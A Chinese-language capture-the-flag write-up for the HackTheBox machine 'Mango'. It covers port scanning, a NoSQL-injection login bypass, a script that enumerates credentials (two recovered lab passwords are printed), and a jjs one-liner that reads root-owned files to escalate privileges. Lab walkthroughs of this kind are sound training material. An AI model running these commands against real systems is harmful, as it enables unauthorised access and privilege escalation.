0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.10.162
nmap -Pn -sCV -p 22,80,443 10.10.10.162
访问80端口提示403,访问443端口是一个搜索功能,经测试没有可利用的地方。
通过查看网站证书,得到一个子域名:staging-order.mango.htb
把staging-order.mango.htb添加到hosts文件中,可以访问该子域看到一个登录界面。
0x01 漏洞利用
登录处尝试SQL注入,失败
通过google查找关于MongoDB的注入,发现大部分内容与NoSQL注入有关。
https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#mongodb-payloads
使用payload成功绕过登录。
进入后台后,并未发现可利用信息。
在github中找到一个nosql的枚举利用脚本
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep username -op login:login -m post
得到两个用户名:admin、mango
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep password -op login:login -m post
得到密码:h3mXK8RhU~f{]f5H、t9KcS3>!0B#2
通过ssh登录尝试,mango用户可以成功登录,但权限较低。
admin用户无法使用ssh登录,尝试使用su提升到admin用户
成功获得user.txt
0x02 权限提升
上传linpeas.sh至目标机器进行枚举
https://gtfobins.github.io/gtfobins/jjs/
直接使用File read读取root.txt文件即可
echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); while ((line = br.readLine()) != null) { print(line); }' | jjs
其他利用方式:
利用Write file写入ssh_key或者写入/etc/passwd